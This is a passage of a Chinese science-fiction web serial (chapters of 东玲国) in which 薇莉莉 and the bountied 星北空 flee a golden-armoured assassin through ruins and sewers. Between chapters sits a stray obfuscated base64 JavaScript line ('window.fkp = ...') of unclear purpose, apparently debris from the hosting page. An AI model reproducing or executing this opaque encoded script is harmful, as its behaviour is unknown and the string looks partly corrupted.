也许等你们看到这封信的时候,我已经在你们口中失踪很久了。看到这封信后,别再为我而担心了。还有,这箱子里还有几条长裙。能拥有它是你和萌萌的愿望吧。我知道你们两个有爱美的心,哪个女人能没有呢?别看姐你明面上从不在意打扮、从不化妆。但我知道,你心里也向往美丽。我买给你们,帮你们实现这个愿望。也算是在离别时,再为你们做出点贡献了。 篇幅有限,我还有很多话想对你们说,但已经没有机会。我所拥有的时间已经不多,我该离开了。最后,千言万语,总结成一句话:“姐、萌萌,你们一定要幸福啊!” 看完这封信后,薇莉莉的心情很复杂。愧疚、愤怒、悲伤、惋惜,它们盘踞在她的心中,不分伯仲。 薇莉莉: “你这混蛋!怎么能说走就走!说都不跟我说一声,忘了我是怎么教你的吗?妈的!星北空......走了就别回来!” 薇莉莉沉默了。她把信件放到一旁,拿起了那些衣盒。打开衣盒,一条白色的华贵长裙滑落出来,伴随着的还有几件首饰。拿起这条长裙,薇莉莉的心情非常复杂。她拿着长裙比划了一下,发现大小正合适。比划完,她攥紧了手中的长裙,呆呆地盯着这长裙发呆。她的眼角有泪水打转,那泪水晶莹剔透如水晶一般,其中蕴藏着感动与愧疚。可她并未让泪水流下,她还是很坚强的,即使是在这种时刻。 嗡......嗡嗡......嗡...... 这时,薇莉莉的手机响了。她拿起手机来,没看是谁就拨通了过去。她忍住泪水与心中倾诉的欲望,依旧用平常那严厉的语气去说。她不想在任何人面前表露出自己脆弱的那一面,即使是在她日薄西山、行将就木之时。 薇莉莉: “喂?谁?有事快说,我很忙的。” 接着,电话那一头传来了查尔拉急促的叫喊声。 查尔拉: “姐!不好了!不好了啦!” 薇莉莉一听,不由得眉头紧皱。她急忙安抚查尔拉的情绪。在查尔拉情绪稳定下来之时,她便开始询问其缘由。 薇莉莉: “说吧,查尔拉。发生什么事了?” 查尔拉支支吾吾地好一会,才说清楚发生了什么。 查尔拉: “姐!姐啊!杯子哥他!他......他被人头悬赏了!” 薇莉莉: “什么?!什么等级的?快说。” 查尔拉: “最......最高等级。” 听到这则消息的时候,薇莉莉只感觉眼前一晕,她整个人差点都栽倒在沙发上。她知道这消息意味着什么...... 最高通缉一出,整座城乃至整个国家的都市猎人和杀手都会出动。不需太长时间,被通缉者的附近便会被设下天罗地网。到时候就是天王老子也逃不出去,只能静待被毁灭的命运。星北空现在要面临的,就是这个注定悲惨的结局。 薇莉莉: “快!查尔拉,动用家族里的人,能动用多少就动用多少。让他们帮我找星北空!快!” 查尔拉: “可是,姐。那样会......” 薇莉莉: “别可是了!你就说帮不帮吧。不帮,我自己找去!” 查尔拉: “帮!肯定帮。我现在就去找人帮忙去。” 薇莉莉挂断电话,咬咬牙,狠狠地锤了墙一拳。薇莉莉回到卧室,换上平时的战斗服,拿上一把双头刀,简单准备了一下就出了门。伊见了,问薇莉莉: “薇莉莉,你干嘛去?” 薇莉莉没回应她。伊见此有些担心,考虑到薇莉莉的身体状况很不好,她担心薇莉莉这样鲁莽会出事。于是乎,伊准备出门去追薇莉莉,问个情况如何。在准备的出门的时候,伊看到了那封道别信。看过信上的内容后,伊恍然大悟。 伊: “薇莉莉一定是去找星北空去了,一定是!” 说完,伊放下信件,赶忙出门去追薇莉莉。此时碰上茵萌萌出门,茵萌萌问伊情况,伊一五一十地交代。听完伊说的话,茵萌萌和伊结伴,一起去找寻薇莉莉。路途中,茵萌萌了解到星北空被通缉的事实,于是立即就担心起薇莉莉和星北空来。对于她来说,薇莉莉和星北空是她生活中的重要部分,是决不能失去的。因此,茵萌萌迫切地想知道薇莉莉和星北空的下落,她担心薇莉莉和星北空,她害怕会因为这件事而失去两人。 茵萌萌: “姐!北子哥!你们在哪里呀?别吓我好吗......你们跑哪里去了?姐!北子哥!伊......我好害怕呀。你说姐他们会出事吗?” 伊: “不会的,一定不会的。别担心,萌萌。我们会找到他们的,一定会的。” 到了下午...... 星北空看着面前熟悉的身影,难以置信地瞪大了双眼。他属实没想到,告别后再与她的见面,竟能间隔连一天都不到。短暂的惊讶过后,星北空如往常一样露出了笑容。他很坦然地摊开手来,笑着说: “姐,你来了。想不到这么快又见到你了。” 此刻站在星北空的对面的,是他熟悉的挚友薇莉莉。此时的薇莉莉用力攥着拳头,阴下脸来露出愤怒的表情,满脸写的都是对星北空的不满。薇莉莉没说话,只是呆呆地看着星北空的脸。短短的几个瞬间,她的表情变化了五次;由愤怒和不解逐渐变成了担心与理解。薇莉莉轻声问星北空: “你这家伙......是巴不得见到我是吗?” 她的一根白发缓缓飘落,轻轻地落在了她的肩膀上。她此时的眼神格外独特,是星北空从未见到过的。那里面没有冷漠,倒是多了几分温柔。看到她这种眼神时,星北空露出了夹杂几分疑惑的笑。 “姐......今天......” 星北空正要解释什么。突然,薇莉莉开口打断了他。 “闭嘴!蠢货......你是怎么向我保证的?为什么要欺骗我和萌萌?!你觉得让我们两个满城找你很有趣吗?!啊?!” 她这么一说,星北空顿时哑口无言。星北空想开口说些什么,但他却迟迟没有说出口来。他也许在等待,等待薇莉莉对他的训斥。昔日被薇莉莉揍的回忆还历历在目,那是他忘不掉的回忆。可这次与以往普通,没有训斥与惩戒,反倒是有了一丝离别的酸楚。 “哼!走就走呗,说一声啊。你要走的话,我和萌萌还寻思着给你办个欢送会呢。别不辞而别,你搞那套我们可不喜欢!” 说出这句话时,她是笑着说出的,语气格外的温柔,一点都没有先前那副女战士的样子。她真挚的眼神中蕴藏着几分温柔,似春风一样洗礼星北空的内心。看着她脸上如花一般的笑靥,还有那真挚的眼神,星北空顿时感觉鼻子有些发酸。他此时的心里是难以诉说的温暖与感动,这是他第一次见薇莉莉温柔的那一面。 薇莉莉大声问星北空: “听见了没有?!” 星北空回答道: “听见了!姐。” “那就好。还有......你接下来该怎么办?” “我......我们有机会,可以逃出去的。” “嗯。我就是担心你的安全,才过来看看你的。如果打扰到你的计划了,那么......抱歉啦。” “没事的,姐。” “还有!那些东西......” “怎么样?你喜欢吗?” “还......还凑合。能穿,还挺合身,挺不错的。” “你穿着应该会挺美的吧。” “呃......那肯定啊!我可是个大美人呢。” 突然话锋一转。星北空的表情变得严肃起来,他的眼神也变得犀利起来。星北空告诉薇莉莉: “姐,你赶快回家吧!别在这里再停留一秒,危险。” 薇莉莉摇摇头,态度坚决地告诉星北空: “不!我要保护你直到你安全离开东城。” 星北空皱紧眉毛,表情变得更加严肃。他用极其强硬的语气告诉薇莉莉: “不行!你不能来保护我!你今天必须在家,必须!” 薇莉莉摇摇头,态度仍很坚决。她重新展露出了当初霸气的风范来,以此来表示她强烈的决心。她告诉星北空: “你觉得你的三言两语能让我退却吗?我曾看过我爱的一个又一个人离开了我,你难道想成为下一个吗?若我在你身旁保护你,你还能多几分生还的机会,起码可以......” 星北空用强有力的话语打断了薇莉莉。 “闭嘴!你什么都不懂......我所背负的悬赏可是会招来收尾人的!你若在我的身旁,你只会成为给我挡刀的人。你的性格我一清二楚!你要是死了怎么办?我怎么跟你那边的人交代?!我怎么跟萌萌交代?!那样我所做的一切努力都白费了!” 薇莉莉第一次见星北空这么激动。她整个人都惊住了,一时忘记了去反驳星北空。突然星北空语调一转,他的表情变得平淡起来,说话的语气也变得委婉了起来。他低下头来,深情地、轻声地说: “你要是死了,我的一生就是不完美的。我这一生能有几个像你一样彼此真诚相待的朋友?失去了一位挚友,你知道我的心有多痛吗?你只是固执而又幼稚的一意孤行,从来就没想过后果如何。不只是你有想守护别人的心,我和你是一样的。” 薇莉莉呆呆地看着他,一时说不出半句话来。薇莉莉的手正颤抖着,激动的泪水正在她眼中打转。星北空抬起头来,深情地说道: “拜托了,姐。请你回去吧。别在这种关头为我丧了命。那不值得的!姐,我想让你活着!活在这个美丽的世界上,好好地、快乐地、幸福地!而不是活在我的记忆里,就像那些旧胶片一样。” 薇莉莉被星北空说的话给打动了。眼角处两滴泪悄悄落下,似雨点一样滴落在干涸的土地上。薇莉莉注视着星北空,恍惚间她看到了已逝的师傅和爱人。过去的一幕一幕刺痛着她的心,面对现在的抉择,她更没有选择去放手。她有些委婉地告诉星北空: “可......可我也活不了多久了。与其乖乖在家等死,还不如用仅剩的时间守护我想守护的人。那样即使为了你而死,我也不会后悔,我也不会遗憾。我们是朋友,是要同舟共济的。有福同享有难同当。” 见薇莉莉仍有些固执,星北空决定说出真相,来劝让薇莉莉离开。星北空告诉薇莉莉: “姐,你很快就能康复的。我悄悄给你注射了解药,你很快就能重获新生,再度当回那个鲁莽而又帅气的女汉子的。今天的午夜是最后一针。这一针打完,你就彻底告别病魔了,你就重获新生了!” 薇莉莉知道真相后很是吃惊。她未想过星北空竟能为她去挑战死神,而且却还不愿当时就告诉她,而是想当成秘密。要不是星北空今天主动告诉她,想必她一辈子也不会知道他默默付出了那么多。得知真相后的她感动至极,虽然硬挺着,但泪还是流了几滴下去。薇莉莉深情地说道: “原来你......呵,呵呵。你可真有意思,星北空。重获新生......那又怎样?若是要用你的命来换我的新生,那我还不如一开始就死了呢!那样,起码不用看到你这张臭脸了!牺牲同伴来谋求私利的事,我坚决不做!我宁可烂在下水道里、活活饿死、痛苦地病死、被那些怪物吃掉,我也不愿意去做那样的事!” 说完,薇莉莉就迈步向星北空那边走去。星北空被薇莉莉的决心所打动,但他并未想让这个单纯的女人为自己而赴汤蹈火。因为是他真心爱过的人,怎能狠下心来让其背负丧命的风险呢?他急忙后退表示自己的决心,但薇莉莉的脚步从未停下。他抽出腰间的猎象者,用猎象者胁迫薇莉莉离开。 这一幕似曾相识,他当时闯进薇莉莉的生活时,也是以这种方式。时间流转,始与末竟能如此相像。此时此刻恰如彼时彼刻。同样的人,同样的姿势,但两者的心远不是当年能比及。 两人互相看着对方,都未开口说过一句话。星北空抬起枪对准薇莉莉,薇莉莉丝毫不怕,勇敢地迈步向前。薇莉莉步步紧逼,星北空连连后退。最后薇莉莉把星北空逼退到了废墟内部的入口:一个大破口前。薇莉莉用坚定的眼神看着星北空,星北空也用坚定的眼神看着薇莉莉。两人这样对视了有一段时间,彼此都不服输。 最后,星北空还是妥协了。他叹了口气,正准备说点什么。突然,远处的废墟之中亮起一道诡异的、微弱的金光。他看过去,顿时就愣住了。那个男人出现在废墟之中,带来了死亡的预兆。 一身金甲包裹全身,金光闪闪。身体内无数电子元件嗡嗡作响,钢铁制成的心脏有规律地颤动着。闪烁的金色线条装饰全身,美观之中又凸显个性的璀璨。黑夜中如死神的提灯一般宣告终末的降临,白昼中如一盏天堂的信标一样宣告着死亡将至。精致且美观又帅气的头盔上亮着三条钝角V型线,那是他的眼睛,是死神的眼睛。一把由奇点科技淬炼过重型狙击枪被紧紧地握在手中,开保险、上膛、瞄准开火一气呵成,枪响过后一命呜呼。吊着菱形利刃的条状披风轻垂下来,如垂柳一样下垂,如长发一般轻柔。他全身撒发着浓烈的杀气,全身上下没有一处不是兵器。就光是看他几眼,都能吓得人魂飞魄散。 他就是大名鼎鼎的致命艺术之二,黄色收尾人司马天铎。 见到那个男人的那一刻,星北空瞪大了眼,顿时吓得魂都险些飞了出去。那一刻他想了很多,最后克服心中的恐惧。他立即改变手腕的位置,而后扣动扳机。低沉的一声枪响,一颗子弹飞出枪膛。它裹挟着淡蓝色的能量束,留出一条彗星一般的拖尾,以超越雷电的速度飞向了黄色收尾人。 在场所有人都没料到星北空会开枪。不及所有人反应过来,星北空大喊一句: “小心!他来了!” 喊完这句话的瞬间,他上前一把拽住薇莉莉的胳膊。他用出最大的力气,以他能达到的最快速度将薇莉莉拉入了废墟内部。在外面的胡狼和貔貅察觉到不妙,迅速左右散开,又一个翻滚躲到了最近的掩体后面。 嗡的一声,一道金色能量束从远方射来。它裹挟着金色的雷电,以超越音速七八倍的速度飞来,如一颗致命的飞星。轰的一声,它以浩荡之势与蓬勃之力撕裂了它所接触的一切。十几面厚重的混凝土墙顷刻间土崩瓦解,然后整整齐齐地一同倒下。顿时间,一大片废墟全部塌陷为乱石堆,两栋挨着射入点的小楼甚至倒塌下来。 在远处的司马天铎轻轻揪下右肩甲上的弹头,仔细检查了一下弹头,又检查了下自己的肩甲。弹头已经烂掉了,但他依旧能辨认出弹头的口径。他的肩甲被打出一个小坑,坑边有着几条细微的裂缝。 “12.7x33mm t3App(三型穿甲弹简称),你可真有眼光啊。要不是我及时开了电磁护盾,我这条胳膊多半得回去修了。” 他握紧手中的弹头,然后一把扔在地上。他后背的金属旋片缓缓打开,他的散热器在此刻达到高功率运行状态。几团金色的烟雾从散热孔中喷出,全身的发光单元顿时全数亮起。金色的多层复合科技环出现在他的手中,那是奇点协议的象征。他看着远处坍塌的废墟,自信满满地说道: “你跑不掉的,星北空。在我们设下的天罗地网之中,你只是一条上了岸的鱼。迟早会死的!我的弑神者会将你打成碎末。” 废墟之下,薇莉莉缓缓睁开眼睛。眼前的废墟变得比之前更加破败,废墟内的空间比以往还要狭小。她缓缓起身,环视了一圈周围。她没看到星北空的影子,便开始有些担心。 薇莉莉: “星北空?星北空!你在哪里?” 说完,她又环视了一圈周围。这时候,她注意到了身后那堆碎石。一种不安的想法出现在她的脑中,她不由得更加担心了。就在这时,突然有人拽住了她的胳膊。她转头看去,对方是星北空。星北空二话不说,拉着她就向着废墟内部的深处疾驰。 一场亡命逃亡,在此刻开始。 嗡嗡几声,几发能量束贯穿废墟,顿时间撕裂一面又一面墙壁,制造一场又一场的塌方。几轮爆炸紧随而来,整个废墟内部燃起了猛烈的火势。在废墟内部疾驰的二人,此时正经历如世界末日一般的浩劫。两人灵活地及时变路,躲避火场与塌方的房屋,还要躲避随时可能打中自己的能量束。这可谓是非常危险而又非常刺激,稍有不慎就可能丧命。两人谁都不敢懈怠,都是拼了命的跑、拼了命的躲。 两人用毫无规律的移动路线成功迷惑住了金色收尾人。同时废墟墙体够厚,金色收尾人的生命体检测装置还存在些误差,这就导致重型狙击模式下的弑神者无法精确命中目标。金色收尾人意识到这点后,立马将弑神者切换到轻型狙击模式,对着目标开始了一轮有规律连续点射。 金色收尾人的点射带有预判性,经常能预判到两人的行动,从而为两人制造了更大的麻烦。爆炸的频率越来越快,废墟房屋的塌方开始有了连续性,火势的产生开始越来越难预测。震耳欲聋的爆炸声回荡在废墟内部的每个角落,大面积的废墟建筑发生了倒塌,烈火如奔袭的狼群一般迅猛地蔓延着。两人的逃亡变得困难至极,但这也没难倒两人。在这等危难时刻,两人极其团结、极其默契,携手一同应对这些困难。 穿越火场、跳下断楼、缝隙中爬行,为了求生,两人奋力挣扎着。他们的生命体信号越来越微弱,黄色收尾人越来越难确定他们的位置。一段时间后,他们两人的生命体信号丢失,黄色收尾人也在此刻停止了开火。 但顽强的两人真的会丧生于此吗?答案肯定是不。 最后时刻,两人闯入燃着大火的废弃水利部。此时,两人已经走进死胡同了。为了生存,两人决定最后拼一把,尝试找寻水利部内的下水道区域入口。所幸上天眷顾了他们两个,他们找到了入口。不过上天跟他们开了个玩笑,入口处有一扇锁死的铁门。薇莉莉见了,大喊一声: “血骸!出!” 她变出自己的Emw,然后紧紧地握在手中。她抡起血骸,狠狠地劈了上去。当的一声,一道裂缝出现在铁门之上。薇莉莉一看,终于体会到了心有余力而力不足的感觉。星北空见了,一把推开薇莉莉,然后掏出了腰间的猎象者。他不吝惜造价高昂的弹药,连开三枪,直接打烂了这扇门的门锁。在生命面前,金钱一文不值。 星北空野蛮地一脚踹开这扇铁门,然后拉起薇莉莉的手奔向铁门之后。也就是在此刻,薇莉莉头一次感受到被别人保护的感觉;那种感觉竟能如此温暖,如冬日的烈火、寒夜的烛光。 轰隆几声,那废弃的水利部坍塌后成了一堆碎石。在漆黑幽暗的下水管道系统之中,薇莉莉和星北空结伴走着。这里空寂而又密闭,总让人有种莫名的害怕。漫步在这里,任何风吹草动都能把人吓得昏厥过去。伸手不见五指的黑,再加上这种恐惧,这里可以称得上是漆黑的地狱。 所幸星北空用核心能量生成了一个光球,这才让这里变得不那么可怕。起码有了光,对黑暗的恐惧就能消散许多。 薇莉莉是很勇敢的一个女战士,但面对这种环境时,她也不由得害怕。为舒缓自己的心里的害怕,还为了彰显自己的勇敢,薇莉莉主动问星北空: “怎么样?你是不是很害怕?星北空。放心!有我在你身边,没人能伤害你的。” 星北空很自然地笑了笑,然后说道: “我不害怕,姐。” 在不经意间,星北空碰到了一把挂在墙上的扳手。突然,当的一声,这里的寂静被打破。这突如其来的声音吓到了薇莉莉,也吓到了星北空。不过比起薇莉莉来,星北空要显得淡定得多。 “妈呀!有......有鬼......鬼啊!” 薇莉莉大声喊道。她本能地抱住了星北空,然后不安地看来看去。星北空见她如此,轻声安慰她受惊的心。 “姐,别害怕。就是块铁掉了地,没事的。” 薇莉莉听星北空这么一说,心里倒没那么害怕了。这时,薇莉莉突然注意到了自己的行为。她赶忙松开星北空,连续后退好几步。薇莉莉此刻陷入尴尬的境地,一时不知该怎么摆脱。说是勇敢、说是无所畏惧,但却被一阵异响弄得这样,属实是打脸。薇莉莉尴尬极了,站在原地讷讷半晌没有任何动静。星北空见了,平淡一笑。 星北空: “姐,别愣着了。快走吧。” 薇莉莉: “呃......走......走吧。” 迎着无边的黑暗、顶着压力和恐惧,置身幽闭而又寂静的下水道之中,即便恐惧也还是勇敢地走着。两颗坚毅的灵魂秉持着对希望的向往与对彼此的信任,平行在一起,一同去面对它们所惧怕事物。莫名而来的勇气在两颗灵魂间出现,牵起两颗灵魂的桥梁,由勇气陪伴彼此的决意。 这时,黄色收尾人来到了废墟之中。他用有机物检测装置检测了一番,很大一片范围之内都无新鲜的有机物存在。检测完,他跺了下脚,对结果极其不满。 司马天铎: “你很幸运吗,孩子。能在枪林弹雨与连环塌方、火海施压之下幸存,实属罕见。你让我大开眼界了,星北空。不过你的好运就在这里用光了,你的末日注将启明。” 不满过后,他改变思路,改变原有的计划,决定等星北空自己上钩。 现在的形势对他是非常有利的,废墟区周围到处都是等星北空上钩的人。天罗地网已经设下,S协议干扰装置也已经在废墟附近部署完毕,现在的星北空是插翅难飞,猎杀星北空犹如瓮中捉鳖那样简单。 一段时间后...... 在下水道区域的管理站内,熄灭了许久的电灯亮了起来。星北空和薇莉莉修好了这里的发电机,并为发电机加足了燃料。有了光源与空气净化器之后,两人终于可以在这里暂避一段时间的锋芒了。虽然这里很破旧,到处都是灰尘与破败的样子,但他们已经知足。毕竟在这种环境之下,能活着就是莫大的幸运了。 忙活完一切必要的事后,星北空和薇莉莉坐在员工休息区的沙发上,好好地歇息了一番。歇息时,两人不经意间聊起了天。 薇莉莉: “这一天真的累啊!比我接委托打架还累!所幸到最后还是保住了命,没提前去见阎王。你我都在,还好好的。” 星北空: “对啊。你我都在.......” “你说,星北空。你我刚见面的那一天,你拿枪指着我的时候,脑子里是怎么想的?” “嗯?姐,你说那时候啊。哎呀......那时候姐你可能没注意吧,我那时候开保险了。” “啊?你小子可真鬼道啊!把我都骗过去了。说实话,那时候我真以为你要开枪呢。我都有些害怕了......” “姐,害怕的不止你,我那时也挺怕的。要是你突然给我来一下,或是周围人给我来一下,此时此刻在你面前的就是个你不想见到的幽灵喽!” “哈哈哈,你可真有意思。这么聊天总有种熟悉的感觉......该死的,又想到那些东西了。每当跟你聊天的时候,我总能想起瑞恩。你跟他很像,都是我所看重的人。” “姐,过去的东西就让它过去吧。执迷于后悔之中,你反而会失去更多的。人生很美好的,不值得在悔恨中度过。你是玫瑰一样的女人,更不能如此了。铭记过去的美好,展望无垠的星河。” “嘿,小嘴还挺甜,一如既往的甜。你说的也对,不能在过去之中迷失了自我,那样我的人生会彻底腐败下去。得向前看啊!照顾好当下才是正道。逝去的已经找不回来了不是吗?” “对,姐。逝去的找不回来,但不代表它就永远消失了。一个人的存在不是永恒的,他终有一日会死去。但一个人的存在又是永恒的,因为会有人接纳他的存在,它会活在别人的心里。” “又是存在,又是不存在的,你这话有毛病啊!但是吧......你说的也的确是对,不无道理。” 此刻,薇莉莉的眼前出现了连绵起伏的群山与一轮落日。风在她耳旁吹动,吹来一阵薄薄的雾。雾中,一切都很朦胧,但她却能看清楚一切。她抬头望着天空中的落日,不由得感慨万千。落日与云朵相伴,黄昏的光辉渲染得云朵别样的金黄,就好像一片一片的黄金云彩。对着那落日,她深情而又坦然地诉说出了自己的心语。 “瑞恩他死了,死得很惨。但他却还活着,活在我的心里,活在我那永不归来的过去。他是我青春的一部分,也是我注定难忘的期遇。每当想起他时,我总能想到曾经那个傻乎乎的自己。就好像我还能驰骋在荒野之上,无忧无虑地到黄昏,不顾这世间的一切苦难。” “姐,你说话像个淑女一样。” “嘿嘿,那还不是跟你学的吗?天天满腹经纶,出口成章。跟个谁家的博士似的。哦......不对,你就是博士,货真价实的博士。真是没想到啊!我竟然跟个富家大少爷一同度过了两年,而我直到最后都蒙在鼓里。要不是你写信告诉我,我这辈子都不带知道的。——等等,我才想起来,你骗我这账我还没跟你算呢!” “姐,形势特殊,请你见谅。” “见谅,什么见谅?跟我谈什么见谅!都是哥们......呸!不对。都是姐们......呸!也不对。呃......不管怎样,我们关系很铁就对了!有话就说,别整的我跟个什么领导似的。” “姐。” “干嘛?有啥事吗?” “感谢你能在这种时候陪着我。” “谢什么!我谢你还来不及呢。你为我做的那些事,再加上你给我送的那些礼物......我还没跟你说谢谢呢。” “姐,你相信奇迹吗?” “奇迹?当然是相信啊!” “如果奇迹能发生,我希望结局是我希望看到的样子。” “嘿!别那么悲观嘛。结局无论如何,都得去面对的。是好是坏,我们也没法预见不是吗?若是可以,我还是希望你能活下来,我能不能活着,对我来说不重要的。就是死了,我也光荣!那样我就完成我的誓言了。” “姐......” 星北空想说些什么,但因为一些原因没有说出口。 这时候,他想起了胡狼与貔貅。出于担心,他给胡狼和貔貅打通了电话,使用内部通讯系统进行隐秘通话。电话迟迟未接通,星北空对两人的担忧更重了一些。星北空又几次尝试,但都以失败告终。最后星北空只得放弃,转而去思考其他的计划。 对于他来说,现在的当务之急是拿回放在庇护所里手提箱,转移走那里面的成品源能核心。这不仅是为了他自己,还为了薇莉莉。无论如何,他都不能让这份成果消逝在废墟之中,更不能让其落入敌人手中。那些成品是最后的源能核心成品,是他们源能核心公司存在过的证明!那也是他的理想,也是他们这些革新者的理想!那还是现在能拯救薇莉莉的唯一解药,是决定生死的秘宝! 他已经预见自己终会死亡的未来,于是他做出了一个至关重要的决定。他将一盒口香糖交到了薇莉莉的手中,并嘱咐道: “姐,你把这盒口香糖带在身上。无论如何也不要吃它,更不要将它弄丢。这是很宝贵的东西!” 薇莉莉收下这盒口香糖。她非常疑惑,不明白为何看似普通的一盒口香糖能成为星北空眼中的宝贝。但既然答应了星北空,她自然就收好它,好好地保护起这盒口香糖来。 到了晚上,管理站里很冷。这里的暖气供应系统已经损坏多年,已经是无法维修的地步。薇莉莉和星北空只得靠身上的衣物来保暖,除此之外没有任何能起到实际保暖作用的东西。 到了睡觉的时间,两人简单讨论了下就分出了各自睡觉的地方。薇莉莉睡在休息室里的床上,床上只有一个枕头和一个被单。仅靠这两样东西是不够的,薇莉莉依旧很冷。条件如此,薇莉莉也不挑剔,她强迫自己入眠,忍受着管理站内的寒冷。星北空则是睡在了娱乐室的沙发上,他的状况比薇莉莉还要惨。 睡着睡着,他就被冻醒了。醒了之后,他也再无困意,就寻思着在管理站内走走。他先去了薇莉莉睡觉的地方。他见到薇莉莉被冻得嘴唇发紫、双手惨白时,吓了一大跳。他赶忙脱下身上的大衣,将其盖在了薇莉莉的身上。也许这大衣能让薇莉莉感觉温暖些。脱下大衣后,他感觉更加冷了,但他的心仍热着。星北空驻留了片刻,然后就离开了。 与此同时...... 殇靠在街的一角,望着路灯发呆。他此时焦头烂额、身心俱疲,只感觉世界空前的巨大。他已经和埃罗找遍了东城,最后只找到了茵萌萌和伊。而最关键的薇莉莉和星北空,他却连点蛛丝马迹都没找到。 殇: “唉!他奶奶的。这人都跑哪里去了?我们都快把这里翻了个遍了,怎么连蛛丝马迹都找不到呢?” 这时,一个戴着金斗笠的黑衣人走近了他。殇抬头看去,发现对方是个蒙面的红发高个子男人。殇仔细打量了他一番。他全身散发着杀气,眼神如鹰一般锐利,同时他腰间挂着把有龙金纹红木鞘的绣春刀,刀首上还挂着一朵金丝做的莲花坠。 “我知道薇莉莉在哪里。” 他低声告诉殇。殇一听,瞬间来了力气。 殇: “诶呦!你怎么知道我在找她?” 神秘剑客: “我是她爹。” 殇: “诶!大哥,你这不对劲吧。怎么能骂街呢?” 神秘剑客: “我真的是她爹!我叫青莲·铆犽天真,是薇莉莉的亲生父亲。” “青莲?这不是个女生的名字吗?” “别废话!你到底想不想找到我女儿?!” “想啊!” “我女儿现在就在郊区的北方废墟区域之中。情况很危急,黄色收尾人已经驻守在那片区域,还有更多的都市猎人与协会成员也在那片区域周围虎视眈眈。我的女儿处境非常危险,你得赶快了!” “那我得赶快行动了。对了,那个蓝头发的男人在哪里?” “你说那个蓝莓?他也在那里。” “你不跟我一起去救她吗?” “我啊......还有使命在身,没办法跟你一起去。但我会在关键的时候为你们提供帮助的。” “好的!谢了,青莲大哥。” “把我女儿好好地带回来,拜托了。” 说完,青莲离开了。随后,殇拨通了埃罗的电话,将这则消息告诉了埃罗他们。接下来,殇与埃罗他们汇合,顶着夜色向那片废墟区域进发。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十二话:温柔,如星光照耀大地 这时,废墟之中是一派寂静与祥和。一轮残月高高挂起,陪同闪烁的群星们一起驻守在黑夜之中。清凉的微风吹拂大地,几片荒草随风摇曳起来,几颗孤树的叶子随风慢慢飘下。微风,轻抚这伤痕累累的大地。星光,照耀这不甘腐化的大地。月亮,注视这无声挣扎的大地。 突然,几声异响打破了这寂静,让夜不再安宁。在几阵打斗声之后,一切又归为了寂静。此时此刻,废墟之中传来了一个男人无助的呐喊。 貔貅: “快!快走!找到少爷,把东西......” 一把锐利的臂刃刺穿他的胸膛,雷霆顷刻间贯穿他的身躯,鲜血飞溅在金色的战甲上。他无力的挣扎停止了,刹那间一个生命消逝了。他的同伴见此吓得仓皇逃走,逃走时带走了一样很重要的东西。这里最后只剩下一具冰冷的尸体与一位金色死神。 司马天铎: “哦?鱼上钩了。貔貅,好名字,可惜了。这么忠心的卫士,在人间可是稀如珍宝。为主人而死也好,对得起你光荣的使命。” 他将臂刃上的血擦干净,然后收起臂刃。他为貔貅默哀片刻,而后一个箭步冲入黑暗,化身为暗夜中的恶灵。在黑暗中游走,在寂静中狩猎,如同在黑暗森林之中狩猎的猎人。 几道轻微到难以察觉的震荡波从他身旁的仪器中周期性生成,并以5.5马赫的速度贯穿极大空间内废墟建筑。震荡波所经之处的一切生物都会被标记,并以具体三维坐标的方式出现在仪器显示屏上。黄色收尾人正在用这个仪器检测着废墟之中的生命体,以便他第一时间掌握局势状况。 这时一辆车绕过多方阻拦驶入到这片废墟的边缘。很快,车上的四人就被仪器给标记出来。黄色收尾人一看有人进入废墟,没有觉得苦恼反而觉得高兴。他明白,来的这四人是至关重要的“鱼饵”,是引出星北空的诱饵;也是计划中的重要一环。 早在他到这里之前,他就通过碧蓝世界的相关人员得知了此次行动的计划。到时候另一支由碧蓝世界雇佣的协会团队将会在行动区域周围形成包围圈,死死地包围行动区域,同时不允许除了涉及计划的人员以外的任何人进入行动区域。但他们唯独会留下一个小口子,供名为“鱼饵”的存在进入行动区域,为的是吸引星北空出现。这是为了计划万无一失,由碧蓝苍穹所想出的点睛之笔。 早晨,薇莉莉睁开朦胧的双眼,在稍有些温暖的床上醒来。她此刻感觉非常难受,那种感觉就好像生命被一点点夺去。她大口喘着粗气,感觉喉咙就像被人扼住一样。她的心口剧烈作痛,感觉心脏上插了一把刀似的。她感觉头晕目眩,整个世界在她眼里是摇动着的状态,又时而模糊一两下。豆大的汗珠从她头上滚落下来,伴随着十几根末端有着一抹红的银发落下。 薇莉莉: “唔......这种感觉.......好难受。” 她艰难地下了床。下床时,她发现了原她睡觉时盖在她身上的大衣。她一眼就认出那是星北空的大衣。她发现这件大衣时很感动,她深知昨晚到底有多寒冷。能将仅有的保暖物交给她,而宁愿自己多冷几分,可知星北空到底有一颗多么温暖的心。 薇莉莉: “北空......谢谢你。” 薇莉莉忍着难受与痛苦,拿起了星北空的大衣,并将它披在了身上。薇莉莉扶着墙一步一步走到了房间外。这时候,她听到了星北空与一个陌生男子交谈的声音。 “少爷,你确定要这么做吗?!这样会......” “别管那么多了!人命要紧。剩下一支也够用。等我们到了东海那边,等我们找到新的家园,剩下的这一支也能帮我们拉到信任。毕竟......关键技术还在我们手上呢,对吧。” “好吧,少爷。我遵从你的意志。无论如何,少爷你去哪里,我就去哪里。你有危险,我就保护你。” “嗯。感谢你一直陪我走到现在,胡狼。” 循着声音,薇莉莉艰难地走到了员工娱乐室门前。在推开门的那一刻,她感觉一阵晕眩。她强挺着往前走了两步,但晕眩感越来越强。在星北空和胡狼惊愕的目光中,她无力地倒在了地面上。倒下后,她的意识并未完全消失。她嘴里小声嘀咕着星北空的名字,一遍又一遍。 “北空......星北空......” 最后声音越来越小,她的意识也越来越模糊。意识彻底消失前的刹那,她听到了星北空的叫喊声,貌似是在呼唤她的名字。她想回答,可话只能留在心里去说了。 此时,薇莉莉的一头红发已经大半都为雪白色,并且肌肤变得惨白。她身上再也看不到原先的朝气,能看到的只有生命逐渐凋零的样子。看到薇莉莉这番样子的星北空是痛心疾首。若不是为了他而来,薇莉莉怎能会跟他一起受罪,更怎能错过最佳的解药注射时间。 